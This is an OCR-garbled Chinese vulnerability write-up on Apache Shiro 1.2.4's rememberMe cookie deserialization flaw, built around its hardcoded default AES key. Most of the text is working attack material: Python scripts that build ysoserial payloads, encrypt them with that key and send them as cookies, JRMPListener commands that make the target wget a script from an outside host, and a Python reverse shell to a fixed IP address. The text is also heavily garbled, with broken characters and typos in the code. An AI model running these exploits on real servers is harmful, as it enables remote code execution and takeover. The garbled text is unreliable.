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BHEEMJE, docker exec -it your docker id /bin/bashi Aixdockerffjtomcat libH
F/usr/local/tomcat/webapps/ROOT/WEB-INF/1ib, % 2i&MIRIFEKjarE A:

¢ shiro-core-1.2.4 jar
¢ commons-collections4-4.0 jar (N T #4754 AT IR, BN INEIARA)
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Run -> Edit Configurations -> #fiTomcatServer(Local) -> ServerdfEiE Tomcat#4% -> DeploymentH#fArtifacti
sample-web:war exploded
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ShiroXtrememberMef¥jcookief 7 in&E b3, shirofECookieRememberMeManae rKH ¥ cookiet
rememberMeFZE N A2 AT F5I4k. AESHIZ . Baseb4ZmiiiE.

FERT S IR, 72X Cookie B irememberMe 7 B % . MRIEINE KIRF, AMEFERE RIRFA:

¢ 3kElrememberMe cookie

base64 decode
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B, AESHIZE R ZHAKeyHEHmBENRLE, SHRESMNBIHERLIAEEIIAESIMERFH, Fit, BE
EME—AEBERNE, FEMNEFEFIM, AESHIES, baseb44mid)s, 1 McookiefirememberMeF B K i% .
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HXhttp://localhost:8080/login.jsp, AirememberMe, BEFRINE, FE—IkeyH
rememberMe, valuetE 4512 cookie.

NMhQ5j+uiYfUA+gQF93wGknW88ru39LFDKiOmaAuphx7h+r/XUhlebml7+KNwfFOgIIOnJg6LA8XxVpzPITYknq/aYPeeDNIEVYX8DSUMNUhO
nbCdHW1YNuFDdBNg6chk5nEZwkh7dGOk+uAnZEfpFbRTajQ4vE01bOktGAS+feNmpurL2P/@dpWwzsSGMZubiVs@ICMVt6CS3qvU8rKC221b
PILSqTiD5A0+6YNCm19gm/6uQ7De2E+gmKmxGA90/EsaRUE71wdiHdIbaDeNOQ5am8rXiejqtfE15YHzeU2MEdxqo+POVUgaSal703FYhLjf
n4U1nS97/VUHfY7m1z3iP9rU4KvIYjtB5RhbNwkgoFmtUYEMFyFaJNoOAwKBfkeVYOw7QoF7z0@P1HEA3G1XEBR7GeC40/XAChMNDXx7NY+Fm5
D5RZUWWNkW8qIOU9n5UIXmpVsS1hB3voreeB/5g05USMy+ToHAW3bOB6REK1X3/U9IS82sY/aLv7aXBA

ME M, RATE0EGEE Cookie)ZER£ CookieRememberMeManaer, %K%k
#AAbstractRememberMeManager®, Ri#fabstractRememberMeManagerds, ?E@EJ%?HAESE‘JKGW

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

BREEFERTE, BRER—INKS, FifrememberMeiZfll, FAbstractRememberMeManagerg
flonSuccessfulLogin A& TWis, 1218debug, FIEZEMSHET .

BEBRAMICAroot I P BHIERT . WREFEI, shiroKERHKHF Lroot ZRBFITFHIMN, fE
FDefaultSerializerFMserializeFiE.

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals); // #iTF5Iik
if (getCipherService() != null) {
bytes = encrypt(bytes); // AESHIZ
}

return bytes;


https://issues.apache.org/jira/browse/SHIRO-550

BE#ITAESIE . HASHEESR|Abst ractRememberMeManagerFEfencrypt F¥EH, T LIE F|AESHIAE R
NAES/CBC/PKCS5Padding, FH HAESHIkeyNBase64.decode ("kPH+bIxk5D2deZiIxcaaaA=="), ¥
B N163EH E R \x90\xf1\xfe\x6c\x8c\x64\xe4\x3d\x9d\x79\x98\x88\xc5\xc6\x9a\x68, key
R16FT, 128fi.

protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
value = byteSource.getBytes();

}

return value;

HATAESINE, FFarraycopy () K BEHLI 165 VKB AL S SR AT, 50RUs FsTAES NG

BJGfECookieRememberMeManagerFHrememberSerializedIdentity () ik #iTbase64n%

String base64 = Base64.encodeToString(serialized);
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A TAESHIkey. M#E#ERAES/CBC/PKCS5Padding, HTAESEMHINE, FrLARAIEET LURZEAESH %
X7,

HF—3. HFErememberMeCookie

B 5. baseb4fifi%. CookieRememberMeManager®flgetRememberedSerializedIdentity () ¥k

byte[] decoded = Base64.decode(base64);

FE=0: AESHEE . baseb4fELEHIFT, WERH 16N FT.

AbstractRememberMeManager%@%decrypt()fﬁ%

protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();

}

return serialized;

FBH: RFHIM. DefaultSerializer®EMideserialize () FiE



public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);

ATUESR, BEMNETERNEN. BUE P readobiect () Hik, HTRFEFMLEN 54 HAME
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import os

import re

import base64

import uuid

import subprocess

import requests

from Crypto.Cipher import AES

JIAR_

def

def

if _name__ == '__main__':

FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'

poc(url, rce_command):
if '://' not in url:

target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:

target = url
try:
payload = generator(rce_command, JAR_FILE) # “p&payload
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # KIZERIEIER
print r.text
except Exception, e:
pass

return False

generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!")
popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes

encryptor = AES.new(base64.b64decode(key), mode, iv)

file_body = pad(popen.stdout.read())

base64_ciphertext = base64.b6dencode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

poc('http://127.0.0.1:8080', 'open /Applications/Calculator.app')

AT T AR

5.1 commons-collections 3.2.1

ER ik shirofficommons-collectionshz 4 43.2.1, Jf Hftysoserial & H 3.2 1HI A, WAIFA3.2.16
payload, &R TF4EIR:

java.lang.ClassNotFoundException: Unable to load ObjectStreamClass

[[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -
4803604734341277543L;]:
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Shiro resovieClassfg# f f] & ClassLoader.loadClass()ifi JEClass.forName(), TijClassLoader.loadClass/N 37 135 £ 3 4H 2%
Al fclass.

LN T AE R R FIAL IR TR SE A7 AE, AT LA Fysoserial )JURLDNS gadgeti#HTIE, S kdnsits
bE, WRAEWCEIDNSIER. ANidJavaBiABTTLER, DNSHEN &#HTER, Pl Ria HILE —RIKEIDNS
filog, JETE AT BEIASBIRIHE AL . URLDNS gadget 5 E HABKH 2 #, B HIGadget Chain:

*  Gadget Chain:

* HashMap.readObject ()
* HashMap.putVal()

* HashMap.hash()

* URL.hashCode()

{B 72 7] LAFI Fysoserial (9 JRMP . B A& F i 20 F
EA SN AR S5 38 T I —ANIRMPYG O, wget A ZEHAT 14 .

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl
test.joychou.org'

W #ATpoc, BEHAT T curl test.joychou.orgfido.



#coding: utf-8

import os

import re

import base64

import uuid

import subprocess

import requests

from Crypto.Cipher import AES

JAR_FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'

def poc(url, rce_command):
if *://' not in url:
target "https://%s' % url if ':443' in url else 'http://%s' % url
else:

target = url
try:
payload = generator(rce_command, JAR_FILE) # “p&payload
print payload
print payload.decode()
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # KRIZKIFiER
print r.text
except Exception, e:
print(e)
pass
return False

def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b6dencode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

poc('http://127.0.0.1:8080', '47.52.77.204:12345")

AEIFALS B ST I0 AR, T DA BIBAT I &

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget
test.joychou.org/shell.py -0 /tmp/shell.py'

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'python
/tmp/shell.py’

shell.py} % #Hishell 1] AAS :



import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.52.77.204",1234));
os.dup2(s.fileno(),9);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-1i"]);
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TIRBEH TR R org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
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o PRHERIAESKIINAEE R ERFL HkeyMNFE M AF K, MIVER.

o ATEWRFFINIRIAMSEAEAE, 7T LLF AysoserialfJURLDNS gadgeti#t 4T IAE, {HRIRINSETTLEENE, Bk
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2. MLA 51 A Mjarts H A7 7E AT 4 44T K Gadget Chain.
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